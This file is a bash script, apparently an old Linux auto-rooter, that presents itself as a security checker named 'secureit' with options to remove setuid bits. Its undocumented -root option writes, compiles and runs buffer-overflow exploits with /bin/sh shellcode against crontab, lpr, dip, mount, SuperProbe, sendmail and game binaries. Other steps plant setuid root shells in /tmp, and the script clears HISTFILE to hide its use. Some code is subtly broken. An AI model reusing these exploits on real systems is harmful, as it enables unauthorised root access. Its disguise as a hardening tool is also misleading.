#!/bin/bash
#
#
export HISTFILE=

echo ""
echo "Processing"
echo "..."

function makeprogs {
echo ""
echo "Couldn't find 'progs', making standard one for you."
echo ""
/bin/cat >> progs << EOF
/bin/mount
/bin/umount
/usr/bin/crontab
/usr/bin/lpr
/usr/bin/splitvt
/sbin/dip
/usr/sbin/dip
/usr/lib/games/abuse/abuse.console
/usr/games/doom/startmouse
/usr/X11/bin/SuperProbe
EOF
echo "Done, run again."
echo ""
exit 0
}

function greets {
if [ -s secureit.greets ]; then
/bin/rm secureit.greets
greets
else
/bin/cat >> secureit.greets << EOF

lksdflksjdg

EOF
/bin/cat secureit.greets
/bin/rm secureit.greets
fi
exit 0
}

function info {
if [ -s secureit.info ]; then
/bin/rm secureit.info
info
else
/bin/cat >> secureit.info << EOF

osihdflhsdg
                                                                         
EOF
/bin/cat secureit.info
/bin/rm secureit.info
fi
exit 0
}

function findsuid {
if [ -s suidprogs ]; then
	/bin/rm suidprogs
	findsuid
	else
	echo ""
	echo "Finding suid programs.."
		find / -perm 6755 2> /dev/null 1> suidprogs
		echo "Done."
	echo ""
	fi
exit 0
}

function usage {
	echo ""
	echo " Usage: $0 -check,  to check for vulnerable programs."
	echo "        $0 -chmod,  to chmod the vulnerable programs."
	echo "        $0 -info,   view general information."
	echo "        $0 -find,   find programs."
	echo "        $0 -greets, for the usual greeting stuff."
	echo ""
	exit 1
}

function pr0beher {
if [ -s probe.c ]; then
/bin/rm probe.c
pr0beher
else

/bin/cat >> probe.c << EOF

/*
 * SuperProbe tested on Slackware 3.1
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shellcode =
  "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  "\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd"
  "\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40"
  "\x31\xdb\xcd\x80/"
  "/bin/sh"
  "0";

char *get_sp() {
  asm("movl %esp,%eax");
}

#define bufsize 8192
#define alignment 0
char buffer[bufsize];

main() {
  int i;

  for (i = 0; i < bufsize / 2; i += 4)
    *(char **)&buffer[i] = get_sp() - 2048;
  memset(&buffer[bufsize / 2], 0x90, bufsize / 2);
  strcpy(&buffer[bufsize - 256], shellcode);
  setenv("SHELLCODE", buffer, 1);

  memset(buffer, 'x', 72);
  *(char **)&buffer[72] = get_sp() - 6144 - alignment;
  buffer[76] = 0;

  execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer, NULL);
} 
EOF
cc -o /tmp/.probe probe.c 2> /dev/null
/bin/rm probe.c
echo ""
if [ -s /tmp/.probe ]; then
/tmp/.probe
else
echo "superprobe failed."
echo ""
exit 1
fi

/bin/rm /tmp/.probe
exit 0
fi
}

function pr0ntab {
if [ -s crontab.c ]; then
/bin/rm crontab.c
pr0ntab
else

/bin/cat >> crontab.c << EOF

/* vixie crontab .  redhat linux. */

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

#define DEFAULT_OFFSET          -1240
#define BUFFER_SIZE             100     /* MAX_TEMPSTR is 100 */
#define HAPPY_FILE              "./Window"

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
   int fd;
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

/*
 * The sscanf line reads for 'name' as %[^ =].  Neither a space, nor
 * a '=' character appears below
 */

  int i;
  int ofs = DEFAULT_OFFSET;

   /* if we have a argument, use it as offset, else use default */
   if(argc == 2)
      ofs = atoi(argv[1]);
   else if (argc > 2) {
      fprintf(stderr, "egg [offset]\n");
      exit(-1);
   }
   /* print the offset in use */
   printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   /* fill start of buffer with nops */
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   /* stick asm code into the buffer */
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (878/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr++ = '=';
   *ptr++ = 'X';
   *ptr++ = '\n';
   *ptr = 0;
   printf("Writing to %s\n", HAPPY_FILE);

   fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
   write (fd, buff, strlen(buff));

   close(fd);
   execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
   /* Successful completion */
   exit(0);
} 
EOF
cc -o /tmp/.cronexp crontab.c 2> /dev/null
/bin/rm crontab.c
echo ""
if [ -s /tmp/.crontab ]; then
/tmp/.crontab
else
echo "crontab failed."
echo ""
exit 1
fi

/bin/rm /tmp/.crontab
exit 0
fi
}

function dewm {
if [ -s /tmp/gpm.c ]; then
/bin/rm /tmp/gpm.c
dewm
else
export PATH=/tmp:$PATH
/bin/cat >> /tmp/gpm.c << EOF
#include <stdio.h>
void main()
{
  seteuid(0,0);
  system("cp /bin/bash /tmp/setuid.bash");
  system("chmod 4755 /tmp/setuid.bash");
}
EOF
cc -o /tmp/gpm /tmp/gpm.c 2> /dev/null
echo ""
if [ -s /tmp/gpm ]; then
/usr/bin/doom
sleep 5
/tmp/setuid.bash
else
/bin/rm /tmp/gpm.c
echo "doom startmouse failed."
echo ""
exit 1
fi

/bin/rm /tmp/gpm.c /tmp/gpm
exit 0
fi
}

function dolpr {
if [ -s lprlin.c ]; then
/bin/rm lprlin.c
dolpr
else

/bin/cat >> lprlin.c << EOF

/* lprlin.c,  */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("$i", "lpr", "-C", buff, NULL);
}

EOF
cc -o /tmp/.lprexp lprlin.c 2> /dev/null
/bin/rm lprlin.c
echo ""
if [ -s /tmp/.lprexp ]; then
/tmp/.lprexp
else
echo "lpr failed."
echo ""
exit 1
fi

/bin/rm /tmp/.lprexp
exit 0
fi
}

function doubledipped {
if [ -s dipexp.c ]; then
/bin/rm dipexp.c
doubledipped
else
/bin/cat >> dipexp.c << EOF

/* dip */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_DIP "$i"

u_char shell[] = /*  */
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
u_long esp() { __asm__("movl %esp, %eax"); }

main()

{
  u_char buf[1024];
  u_long addr;
  int i, f;

  strcpy(buf, "chatkey ");
  addr = esp() - 192;
  for (i=8; i<128+16; i+=4)
    *((u_long *) (buf+i)) = addr;
  for (i=128+16; i<512; i++)
    buf[i] = 0x90;
  for (i=0; i<strlen(shell); i++)
    buf[512+i] = shell[i];
  buf[512+i] = '\n';

  if ((f = open("temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
    perror("temp.dip");
    exit(0);
  }
  write(f, buf, 512+i);
  close(f);

  execl(PATH_DIP, "dip", "temp.dip", (char *)0);
}

EOF
cc -o /tmp/.dipexp dipexp.c 2> /dev/null
/bin/rm dipexp.c

echo ""
if [ -s /tmp/.dipexp ]; then
/tmp/.dipexp
else
echo "dip failed."
echo ""
exit 1
fi

/bin/rm /tmp/.dipexp
/bin/rm temp.dip
exit 0
fi
}

function dosplit {
if [ -s null.c ]; then
/bin/rm null.c
dosplit
else
/bin/cat >> null.c << EOF

/* Splitvt zero day  */

long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main()
{
  char eggplant[2048];
  int a;
  char *egg;
  long *egg2;
  char realegg[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  char *eggie = realegg;

  egg = eggplant;

  *(egg++) = 'H';
  *(egg++) = 'O';
  *(egg++) = 'M';
  *(egg++) = 'E';
  *(egg++) = '=';

  egg2 = (long *)egg;

  for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;

  egg=(char *)egg2;

  for (a=0;a<0x40;a++) *(egg++) = 0x90;

  while (*eggie)
    *(egg++) = *(eggie++);
  *egg = 0; /* terminate eggplant */

  putenv(eggplant);

  system("/bin/bash");
}
EOF
cc -o /tmp/.null null.c 2> /dev/null
/bin/rm null.c

echo ""
if [ -s /tmp/.null ]; then
/tmp/.null
/tmp/.null
splitvt
else
echo "splitvt failed."
echo ""
exit 1
fi

/bin/rm /tmp/.null
exit 0
fi
}

function domount {
if [ -s covin.c ]; then
/bin/rm covin.c
domount
else
/bin/cat >> covin.c << EOF

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_MOUNT "$i"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
  __asm__("movl %esp, %eax");

}
main(int argc, char **argv)
{
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   int i;
   int ofs = DEFAULT_OFFSET;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;

   /* fill start of buffer with nops */

   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);

   /* stick asm code into the buffer */

   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;

   (void)alarm((u_int)0);
   printf("w0rd.\n");
   execl(PATH_MOUNT, "mount", buff, NULL);
}
EOF
cc -o /tmp/.covin covin.c 2> /dev/null
/bin/rm covin.c

echo ""
if [ -s /tmp/.covin ]; then
/tmp/.covin
else
echo "mount failed."
echo ""
exit 1
fi

/bin/rm /tmp/.covin
exit 0
fi
}

function abuseher {
if [ -s /tmp/undrv ]; then
/bin/rm /tmp/undrv
abuseher
else
cd /tmp
/bin/cat >> /tmp/undrv << EOF
#!/bin/bash
/bin/cp /bin/sh /tmp/abuser
/bin/chmod 4777 /tmp/abuser
EOF

chmod +x /tmp/undrv
PATH=/tmp
/usr/lib/games/abuse/abuse.console
/bin/rm /tmp/undrv

echo ""
if test -u /tmp/abuser
then
/tmp/abuser
/bin/rm /tmp/abuser
else
echo "abuse failed."
echo ""
exit 1
fi

fi
}

function r00tit {
        if [ -s $i ]; then
                if test -u $i
                then
                        echo "$i seems vulnerable."

                        if echo "$i" | grep mount 1> /dev/null
                        then
                                echo "Trying mount ."
                                domount
                        fi

                        if echo "$i" | grep abuse 1> /dev/null
                        then
                                echo "Trying abuse ."
                                abuseher
                        fi

                        if echo "$i" | grep Probe 1> /dev/null
                        then
                                echo "Trying superprobe ."
                                pr0beher
                        fi

                        if echo "$i" | grep startmouse 1> /dev/null
                        then
                                echo "Trying doom startmouse ."
                                dewm
                        fi

                        if echo "$i" | grep crontab 1> /dev/null
                        then
                                echo "Trying crontab ."
                                pr0ntab
                        fi

                        if echo "$i" | grep lpr 1> /dev/null
                        then
                                echo "Trying lpr ."
                                dolpr
                        fi

                        if echo "$i" | grep dip 1> /dev/null
                        then
                                echo "Trying dip ."
                                doubledipped
                        fi

#
# There's no practical way splitvt can be used.  I will remove it sometime.
#
#                        if echo "$i" | grep splitvt 1> /dev/null
#                        then
#                                echo "Trying splitvt ."
#                                dosplit
#                        fi
#
                fi
        fi

}
 
function dosuid {
if [ -s .suid.c ]; then
/bin/rm .suid.c
dosuid
else
/bin/cat >> .suid.c << EOF
main() {
	setuid(0);
	setgid(0);
	system("/bin/bash");
}
EOF
cc -o /tmp/.suid .suid.c 2> /dev/null
/bin/rm .suid.c

echo ""
if [ -s /tmp/.suid ]; then
/tmp/.suid
else
echo "suid script failed."
echo ""
exit 1
fi

/bin/rm /tmp/.suid
exit 0
fi
}

function check {
echo "Checking $i..."
	if [ -s $i ]; then
		if test -u $i
		then
			echo "$i is suid."
		else
			echo "$i is not suid."
		fi
	else
	echo "Couldn't find $i"
	fi
echo ""
}

function dosendmail {
if [ -s .smtpd.c ]; then 
/bin/rm .smtpd.c
dosendmail
else
/bin/cat >> .smtpd.c << EOF
main() {
  setuid(0); 
  setgid(0);
  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");
}
EOF
fi
if [ -s .sm.c ]; then
/bin/rm .sm.c
dosendmail
else
/bin/cat >> .sm.c << EOF
main() {
  execl("/usr/sbin/sendmail","/tmp/smtpd",0);
}
EOF
fi

cc -o /tmp/smtpd .smtpd.c 2> /dev/null
/bin/rm .smtpd.c

cc -o /tmp/.sm .sm.c 2> /dev/null
/bin/rm .sm.c

if [ -s /tmp/.sm ]; then
	if [ -s /tmp/smtpd ]; then
	/tmp/.sm
	else
	echo "sendmail failed."
	echo ""
	exit 1
	fi
else
echo "sendmail failed."
echo ""
exit 1
fi

kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` 

/bin/rm /tmp/.sm /tmp/smtpd
if [ -s /tmp/sh ]; then
	/tmp/sh
	echo ""
	echo "Be advised."
	echo ""
	else
	dosendmail
	exit 1
	fi
exit 0
}

function w00t {
/bin/rm .dz.tmp
echo "Trying sendmail ."
echo ""
dosendmail
}

function sendmailversion {
		echo "sendmail.cf says $i"
		echo ""
                if echo $i | grep "8.7" 1>/dev/null
                then
		w00t
		else
                if echo $i | grep "8.8.0" 1>/dev/null
		then 
		w00t
		else
                if echo $i | grep "8.8.1" 1>/dev/null
		then
		w00t
		else
                if echo $i | grep "8.8.2" 1>/dev/null
		then 
		w00t
		else
		/bin/rm .dz.tmp
		echo "Sendmail didn't seem vulnerable."
		echo ""
		exit 1
		fi
		fi
		fi
                fi
}

function checksendmail {
if [ -s /etc/sendmail.cf ]; then
	if [ -s .dz.tmp ]; then
	/bin/rm .dz.tmp
	checksendmail
	fi
	grep DZ /etc/sendmail.cf 1> .dz.tmp
                for i in `/bin/cat .dz.tmp`
		do
                sendmailversion
		done
exit 1 
fi
}

function chmoddit {
echo "Checking $i..."
	if [ -s $i ]; then
		if test -u $i
		then
			echo "$i is suid, removing setuid bit."
			chmod -s $i
		else
			echo "$i was not suid."
		fi
	else
	echo "Couldn't find $i"
	fi
echo ""
}

if [ $1x = x ]; then

usage

else

if [ "$1" = '-info' ]; then
	info
	exit 0
else

if [ "$1" = '-suid' ]; then
	echo ""
	echo "Attempting to set uid and gid to zero."
	dosuid
	exit 0
else

if [ "$1" = '-find' ]; then
	findsuid
	exit 0
else

if [ "$1" = '-root' ]; then
                if [ -s progs ]; then
                echo ""
                for i in `/bin/cat progs`
                        do
                        r00tit $i
                        done
		echo "Didn't find anything, checking sendmail."
		echo ""
		checksendmail
                exit 0
                else
                        makeprogs
                fi
 	exit 0
else

if [ "$1" = '-greets' ]; then
	greets
	exit 0
else

if [ "$1" = '-chmod' ]; then

	if whoami | grep root 1> /dev/null 2> /dev/null
	then
		if [ -s progs ]; then
		echo ""
  		for i in `/bin/cat progs`
  			do
  			chmoddit $i
			done
		exit 0
		else
			makeprogs
		fi
	else 
		echo ""
		echo "Cannot continue."
		echo ""
		exit 1
	fi
else

	if [ "$1" = '-check' ]; then
		if [ -s progs ]; then
		echo ""
  		for i in `/bin/cat progs`
  			do
  			check $i
			done
		exit 0
		else
			makeprogs
		fi
	else	
	usage
	fi
fi
fi
fi
fi
fi
fi
fi
